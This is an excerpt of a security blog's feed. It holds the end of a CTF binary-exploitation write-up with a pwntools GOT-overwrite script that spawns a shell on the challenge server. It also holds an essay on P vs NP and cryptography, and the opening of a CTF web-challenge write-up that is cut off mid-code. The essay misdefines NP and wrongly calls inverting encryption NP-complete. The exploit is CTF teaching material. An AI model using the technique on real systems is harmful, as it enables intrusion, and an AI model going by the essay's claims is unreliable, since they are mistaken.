<p>Lines 16 and 20 feature a libc function called <code>strtoull</code>. The nature of <code>strtoull</code>, according to the standard lib documentation, is to take its single argument (provided its a string) and convert it to a long unsigned int. Since it expects my input, we can take advantage of that fact and replace it with our <code>system</code> calls while feeding in <code>&quot;/bin/sh&quot;</code> as our input.
We now have all the tools required to exploit this challenge.</p>
<ol>
<li>Use the program&rsquo;s functionality to change <code>exit()</code> to <code>main</code>. NOTE: I&rsquo;m using python&rsquo;s <a href="http://docs.pwntools.com/en/stable/"><code>pwn</code></a> library.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">...</span>
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>remote(<span style="color:#e6db74">&#34;jh2i.com&#34;</span>, <span style="color:#ae81ff">50031</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#34;write to?</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>sendline(exe<span style="color:#f92672">.</span>got[<span style="color:#e6db74">&#34;exit&#34;</span>])
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#34;to write?</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><ol start="2">
<li>Get the libc leak, and use it to calculate the base of libc.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>alarm <span style="color:#f92672">=</span> ch<span style="color:#f92672">.</span>recvline()
</span></span><span style="display:flex;"><span>alarm <span style="color:#f92672">=</span> int(alarm,<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>libc_base <span style="color:#f92672">=</span> alarm <span style="color:#f92672">-</span> libc<span style="color:#f92672">.</span>sym[<span style="color:#e6db74">&#39;alarm&#39;</span>]
</span></span></code></pre></div><ol start="3">
<li>With the base of libc, calculate the address location of <code>system</code>. Send the line of <code>strtoull</code> to be replaced by <code>system</code>.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#34;write to?</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>sendline(exe<span style="color:#f92672">.</span>got[<span style="color:#e6db74">&#34;strtoull&#34;</span>])
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>recvuntil(<span style="color:#e6db74">&#34;to write?</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>sendline(libc_base <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x554e0</span>)
</span></span><span style="display:flex;"><span>ch<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#34;/bin/&#34;</span>)
</span></span></code></pre></div><ol start="4">
<li>Once we opened the shell, get the flag on their server!</li>
</ol>
<p><code>flag{one_write_two_write_good_write_bad_write}</code></p>
<p>Jam</p>]]></content>
        </item>
        
        <item>
            <title>Cryptography and P vs. NP: A Basic Outline</title>
            <link>https://jamvie.net/posts/2020/07/cryptography-and-p-vs.-np-a-basic-outline/</link>
            <pubDate>Tue, 14 Jul 2020 00:22:00 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/07/cryptography-and-p-vs.-np-a-basic-outline/</guid>
            <description>Comic from XKCD.
I am not an expert in either cryptography nor algorithm analysis. However, ever since a very rewarding advanced algorithm analysis class, one question has always dwelled in my mind: what would &amp;ldquo;P=NP&amp;rdquo; mean for cryptography? I had heard that such a statement, &amp;ldquo;P=NP&amp;rdquo; is controversial in the world of security. Learning about algorithm complexity has certainly shed quite a bit of light on the topic. As a cybersecurity researcher, I was compelled to satisfy my curiosity and answer that question for myself.</description>
            <content type="html"><![CDATA[<p><em>Comic from <a href="https://xkcd.com/1667/">XKCD</a>.</em></p>
<p>I am not an expert in either cryptography nor algorithm analysis. However, ever since a very rewarding advanced algorithm analysis class, one question has always dwelled in my mind: what would &ldquo;P=NP&rdquo; mean for cryptography? I had heard that such a statement, &ldquo;P=NP&rdquo; is controversial in the world of security. Learning about algorithm complexity has certainly shed quite a bit of light on the topic. As a cybersecurity researcher, I was compelled to satisfy my curiosity and answer that question for myself.</p>
<p>I do not consider myself an authority on either algorithm complexity analysis nor cryptography. However, I hope that this quick outline of the important concepts illustrates the severity of &ldquo;P=NP&rdquo; in the world of security. If this post could spur other individuals to think about and appreciate the uncertainty of proving such a statement, and appreciate how far we have come in data privacy, then I would be satisfied that I brought this discussion forward.</p>
<p>So, let&rsquo;s first begin with a few explanations.</p>
<h2 id="what-does-p-vs-np-even-mean">What does “P vs. NP” even mean?</h2>
<p>For the sake of this article, I won’t be going too in-depth on the definition of P or NP, but I will give a quick rundown here.
In computer science, there exist numerous different computing problems that can be grouped into different categories based on the efficiency of their solution (if there exists one). Many problems that we are introduced to as a beginner CS student are all considered “easy” to solve: they have solutions that are verified to have run in <strong>O{n^k}</strong> (n raised to the power of k) time - polynomial time. Problems such as determining graph-connectivity(BFS), sorting an array(quick sort), or finding an element in an array (binary search) are all considered to be easy problems; they are considered amongst the problems in “P” - polynomial time.
The opposite of this are problems that are known to be “hard” - no solution exists that runs in polynomial time. To prove a problem is hard, is to prove that there is, <strong>without a doubt</strong>, no solution that which is verified to run in polynomial. Therefore, they are considered NOT in “P”.</p>
<p>But, as with everything in life, uncertainty must be accounted for and in the world of applied mathematics and algorithms, how do we group problems that don’t have a polynomial solution <em>yet</em>? The wording I used in the above paragraph is important - problems are hard if it is verified that absolutely no polynomial solution exists. However, it is natural to consider the problems with which we have yet to prove or disprove the existence of a polynomial solution in the first place. This is where the category of “NP” comes in. The travelling salesman problem, the boolean satisfiability problem, the graph-colouring problem. Consider these problems stuck in limbo, where we have yet to really figure out if an efficient solution exists that can solve them. The category “NP” showcases this state of limbo as it encompasses these uncertain problems AND problems in “P”. Do they or do they not have efficient solutions? To consider only the problems in limbo, we group them in their own category of “NP-complete”.
Something that is incredibly interesting and fascinating about NP-complete problems is their ability to be reduced into another instance of a different NP-complete problem. This is explained in the celebrated Cook-Levin Theorem, which proves that any problem in NP can be reduced to the boolean satisfiability problem, which itself has been proven to be NP-complete.</p>
<p>Several things require context here.</p>
<h3 id="np-completeness">NP-Completeness</h3>
<p>The definition of NP-Completeness that I will be working with is the subset of problems that are formed from the intersection of the subset of NP problems, and NP-Hard problems. The diagram below gives a visual representation of the subset of NP-Complete problems (courtesy of <a href="https://www.geeksforgeeks.org/np-completeness-set-1/">GeeksForGeeks</a>):</p>

    <img src="/images/NP-Completeness-1.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>NP-Completeness of a problem can be proven using a verifier algorithm that will be given a purported solution of the problem, and apply that solution and validate its correctness (or determine if it isn’t). The verifier algorithm runs in polynomial time.</p>
<h3 id="reduction">Reduction</h3>
<p>In the study of algorithm and computer science theory, reduction is to take an instance of some challenge, denoted as X, and convert or transform it into an instance of a different challenge, Y, with which we have more information of or know the solution of. As an example, how do you shoot a blue elephant? Use a blue elephant gun. How do you shoot a red one? Paint them blue, then use your blue elephant gun! :)</p>
<h3 id="cook-levin-theorem">Cook-Levin Theorem</h3>
<p>Simply put, the Cook-Levin Theorem states that the boolean satisfiability problem is NP-Complete.</p>
<p>If we know that all NP-complete problems are reducible to each other, and if we assume that the subset of problems “P” and the subset of problems “NP” are in fact belonging to the same group, then <strong>all NP-complete problems can be reduced to a problem that exists in P. Therefore, every NP-complete problem has a solution that can be verified to run in polynomial time.</strong> If “P=NP” this is big news. This means that many problems that we have spent years trying to determine an efficient solution for simply needs to be reduced to a problem in P, and solved with a solution that already exists!</p>
<p>If “P!=NP” this is equally important! That means that, all NP-complete problems are, in fact, hard. Therefore, no efficient solution for them exists at all.</p>
<hr>
<h2 id="introduction-into-cryptography">Introduction into Cryptography</h2>
<p>From my blog, it is clear to see that my expertise lies in web-based exploits and problems. But I am still a student of applied mathematics, and thus cryptography is a field of study that has constantly been on my radar.</p>
<p>Cryptography, in its most generalized form, is the act of encrypting and decrypting data in order to intentionally obfuscate the information to protect the contents of said info.  Encryption takes plain-text, then uses a cipher to transform it into cipher-text (more on the method of how it does that later), which can then be decrypted using that same cipher and retransforming the cipher-text back into plain. This is an INCREDIBLY simplified description of cryptography. Crypto is EXTREMELY important to the functions of computer security and digital privacy as we know it. Specifically, crypto serves several purposes:</p>
<ul>
<li>encryption, as mentioned before.</li>
<li>authentication, which validates information from a trusted source.</li>
<li>integrity, which will ensure that the stream of data will not be altered on its transmission to the destination.</li>
</ul>
<h3 id="keys-and-asymmetric-encryption">Keys and “Asymmetric” encryption</h3>
<p>Dual-Key Cryptography is also called Asymmetric Cryptography. Specifically, it allows for secure communication in a channel between two people. Asymmetric cryptography relies on the use of two keys - parameters that which specify the transformation of plain to cipher, and vice-versa for decoding. It works as so:</p>
<ol>
<li>There exist two keys: one is publicly available, and expected to be known by many. The other is private - expected to be known by one.</li>
<li>Consider a user, Alice, who wishes to send information to another user, Bob. Alice is aware that Bob has a public key that can be used to encrypt data to send to him.</li>
<li>Alice uses the public key to encrypt some plaintext. She sends the resulting ciphertext to Bob. <strong>She cannot decode the ciphertext she has just encrypted with Bob’s public key.</strong></li>
<li>Bob receives Alice’s ciphertext, and uses his private key to transform it into plaintext. Since his private key is used specifically for the decoding of information that was encrypted by his public key, he is able to do this without much effort.</li>
</ol>
<p>The idea here is that the two keys aid in the crypto process but serve different functions. The public key encodes, while the private key decodes. The private key is assumed to be known by only one person, so the act of decoding is only capable of being performed by that single individual. However, anyone who knows the public key are free to encode data with it as they wish - keeping in mind that once its in cipher form, it cannot be reverted back to plain without the private key.</p>
<p>The “safety” of asymmetric cryptography relies on just how long it would take to try and brute-force your way into decoding a cipher without the necessary decoding key. There are several measures in place that prevent a malicious hacker from using a few dedicated CPUs to guess the hashes of a given ciphertext. As an example, if you wanted to somehow guess the private key yourself, the existence of <a href="https://en.wikipedia.org/wiki/Entropy_(information_theory)">information entropy</a> - the average “level” of uncertainty associated to any random variable, in this case the value of the key - will deter you. If you intend to guess the key value (which is often randomized), you will need to overcome the hurdle of the extremely high value of uncertainty in correctly guessing it, so the odds are not in your favor. The bigger size your key, the more information entropy you will have to deal with. Additionally, open-source encryption algorithms are widespread and widely discussed, allowing for the their innovation and improvements as new iterations develop. This means potentially more complex keys, or different encoding algorithms.</p>
<p>Cryptography relies on the simple mathematical principle of one-way functions: it is exceedingly difficult to undo the transformation of a plaintext document to ciphertext without the correct key - and so far, there does not exist any sort of reversing algorithm capable of doing so in an efficient manner, and in a manner that applies to numerous different cryptographic algorithms as well. Reversing the crypto function is &ldquo;hard&rdquo; to do&hellip;</p>
<hr>
<h2 id="what-if-p--np">What if P = NP?</h2>
<p>Finally, we can answer the issue here. What are the implications of proving “P=NP” to cryptography?</p>
<p>Consider cryptographic algorithms in the context of a hacker. They are considered to be one-way functions due to the fact that reverse engineering the crypto algorithm will take far too long. In this sense, it is extremely easy to generate ciphertext - the function in question is <strong>easy</strong> to compute on any input. However, the resulting ciphertext output, the image, is <strong>hard</strong> to invert - that is, reversing the function to get back the original parameters. Think of it like baking a cake. It is easy to, given all the ingredients, combine the items and pop our mixture in the oven to receive a freshly-baked cake. However, in comparison, it is considerably harder to reverse the baking process and reduce our cake back into its base components of eggs, sugar, flour, etc.</p>
<p>The problem of reversing a cryptographic algorithm - inverting the one-way function of encryption - so far lies amongst the problems in NP-Complete. If we prove that the subset of problems P and the subset of problems NP are one and the same, P=NP, we have inadvertently stated that there does exist a solution that can efficiently/quickly reverse a cryptographic hash - namely, in polynomial time.</p>
<p>P=NP means the end of cryptography as we know it. One-way functions will no longer exist! Strong cryptographic algorithms are only formidable as withstanding the tests of time in the face of hackers brute forcing their ways through them. If P=NP, time will no longer be on our side, and password/data security will be something trivial for a malicious hacker to bypass.</p>
<p>To this end, many operate on the assumption that P != NP, and there exists dedicated research into proving so. For if we end up finding that P = NP, our privacy and online security would crumble right in front of us.</p>
<p>Jam</p>
<h2 id="further-reading">Further Reading</h2>
<ol>
<li>&ldquo;<a href="http://news.mit.edu/2009/explainer-pnp">Explained: P vs. NP</a>&rdquo; Hardesty, Larry. “Explained: P vs. NP.” MIT News, 29 Oct. 2009, news.mit.edu/2009/explainer-pnp.</li>
<li>&ldquo;<a href="https://www.garykessler.net/library/crypto.html">An Overview of Cryptography</a>&rdquo; Kessler, Gary C. “Overview of Cryptography.” An Overview of Cryptography, 1 June 2020, <a href="https://www.garykessler.net/library/crypto.html">www.garykessler.net/library/crypto.html</a>.</li>
</ol>
<h2 id="references">References</h2>
<ol>
<li>Rouse, Margaret. “Asymmetric Cryptography (Public Key Cryptography).” SearchSecurity, 20 Mar. 2020, searchsecurity.techtarget.com/definition/asymmetric-cryptography.</li>
<li>Cook, Stephen. “The Complexity of Theorem-Proving Procedures.” ACM Digital Library, STOC ’71: Proceedings of the third annual ACM symposium on Theory of computing, May 1971, dl.acm.org/doi/10.1145/800157.805047.</li>
<li>My informative TAs and professors of my algorithm analysis courses.</li>
</ol>
]]></content>
        </item>
        
        <item>
            <title>RedPwnCTF 2020, Part 3</title>
            <link>https://jamvie.net/posts/2020/07/redpwnctf-2020-part-3/</link>
            <pubDate>Thu, 02 Jul 2020 01:56:16 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/07/redpwnctf-2020-part-3/</guid>
            <description>Part 3 of my writeup series for RedPwnCTF 2020! I checked out the web challenge known as &amp;ldquo;Viper&amp;rdquo;.
Let&amp;rsquo;s Begin! Snakes are my favourite animal. And now, you can easily create ASCII-text snakes with the handy services provided by RedPwn:
When we create our viper, its name is its viperId, which is a UUID.
The source code is available for us in this challenge as well. The main file, server.js, defines multiple endpoints - but the one that caught my eye immediately was GET /admin/create.</description>
            <content type="html"><![CDATA[<p>Part 3 of my writeup series for RedPwnCTF 2020! I checked out the web challenge known as &ldquo;Viper&rdquo;.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>Snakes are my favourite animal. And now, you can easily create ASCII-text snakes with the handy services provided by RedPwn:</p>

    <img src="/images/REDPWN2020_ViperHome.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>When we create our viper, its name is its viperId, which is a UUID.</p>
<p>The source code is available for us in this challenge as well. The main file, <code>server.js</code>, defines multiple endpoints - but the one that caught my eye immediately was <code>GET /admin/create</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span> <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/admin/create&#39;</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">sess</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">viperId</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">viperId</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">csrfToken</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">csrfToken</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">v4regex</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#34;^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$&#34;</span>, <span style="color:#e6db74">&#34;i&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">viperId</span>.<span style="color:#a6e22e">match</span>(<span style="color:#a6e22e">v4regex</span>)){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">400</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Bad request body&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">viperId</span> <span style="color:#f92672">||</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">csrfToken</span>){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">400</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Bad request body&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">isAdmin</span>){
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">exists</span>(<span style="color:#e6db74">&#39;__csrftoken__&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">reply</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;__csrftoken__&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">reply</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">from</span>(<span style="color:#a6e22e">csrfToken</span>, <span style="color:#e6db74">&#39;base64&#39;</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;ascii&#39;</span>)){
</span></span><span style="display:flex;"><span>                        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">randomToken</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">getRandomInt</span>(<span style="color:#ae81ff">1000000</span>, <span style="color:#ae81ff">10000000000</span>);
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">set</span>(<span style="color:#e6db74">&#39;__csrftoken__&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span>, <span style="color:#a6e22e">randomToken</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>                            <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>                            }
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">viperId</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperName</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fs</span>.<span style="color:#a6e22e">readFileSync</span>(<span style="color:#e6db74">&#39;./flag.txt&#39;</span>).<span style="color:#a6e22e">toString</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/viper/&#39;</span> <span style="color:#f92672">+</span> encodeURIComponent(<span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span>));
</span></span><span style="display:flex;"><span>                    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">401</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Unauthorized&#34;</span>);
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">401</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Unauthorized&#34;</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">redirect</span>(<span style="color:#e6db74">&#39;/&#39;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span> });
</span></span></code></pre></div><p>To summarize, <code>admin/create</code> validates the given viperID as a UUID, checks the CSRF token and session ID of the request as the admin&rsquo;s, and once verified changes the name of the viper associated to the request&rsquo;s viperID to the contents of <code>flag.txt</code>. Additionally, the existence of a report function stipulates the use of an XSS/CSRF attack - likely CSRF, as the presence of using the admin&rsquo;s CSRF token to validate the user will imply that we somehow will have to steal their token in some way or another and implement such an attack utilizing the token we steal.</p>
<p>The admin&rsquo;s CSRF token is generated by a function known as <code>getRandomInt()</code>, which is called by the <code>/admin</code> endpoint:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">getRandomInt</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">min</span>, <span style="color:#a6e22e">max</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">min</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">ceil</span>(<span style="color:#a6e22e">min</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">max</span> <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">floor</span>(<span style="color:#a6e22e">max</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Math.<span style="color:#a6e22e">floor</span>(Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">*</span> (<span style="color:#a6e22e">max</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">min</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">+</span> <span style="color:#a6e22e">min</span>;
</span></span><span style="display:flex;"><span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/admin&#39;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">sess</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">session</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*Focusing only on the bit where the CSRF token is generated*/</span>
</span></span><span style="display:flex;"><span>(...)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">randomToken</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">getRandomInt</span>(<span style="color:#ae81ff">10000</span>, <span style="color:#ae81ff">1000000000</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">set</span>(<span style="color:#e6db74">&#39;__csrftoken__&#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">sess</span>.<span style="color:#a6e22e">viperId</span>, <span style="color:#a6e22e">randomToken</span>, <span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">reply</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">err</span>){
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Something went wrong&#34;</span>);
</span></span><span style="display:flex;"><span>                        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>                    }
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">render</span>(<span style="color:#e6db74">&#39;pages/admin&#39;</span>, {
</span></span><span style="display:flex;"><span>                        <span style="color:#a6e22e">csrfToken</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">Buffer</span>.<span style="color:#a6e22e">from</span>(<span style="color:#a6e22e">randomToken</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#e6db74">&#39;base64&#39;</span>)
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(...)
</span></span></code></pre></div><p>For context, the variable <code>client</code> is defined as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">client</span>  <span style="color:#f92672">=</span> <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">createClient</span>(<span style="color:#e6db74">&#39;redis://redis:6379&#39;</span>);
</span></span></code></pre></div><p>Redis is an open-source data structure store that is used as a cache. The CSRF token is stored in the redis server.
The <code>client.set()</code> function sets the cache&rsquo;s key. It&rsquo;s built by concatenating <code>'__csrftoken__'</code> with the <code>viperid</code>, which we find in the <code>admin/generate/:secrettoken</code> endpoint is <code>'admin_account'</code>. Therefore, the redis cache key to the admin&rsquo;s CSRF token is <code>'__csrftoken__admin_account'</code>.</p>
<p>There is another endpoint I haven&rsquo;t mentioned yet that also utilizes the redis cache, known as <code>/analytics</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/analytics&#39;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ip_address</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">ip_address</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>(...)
</span></span><span style="display:flex;"><span>
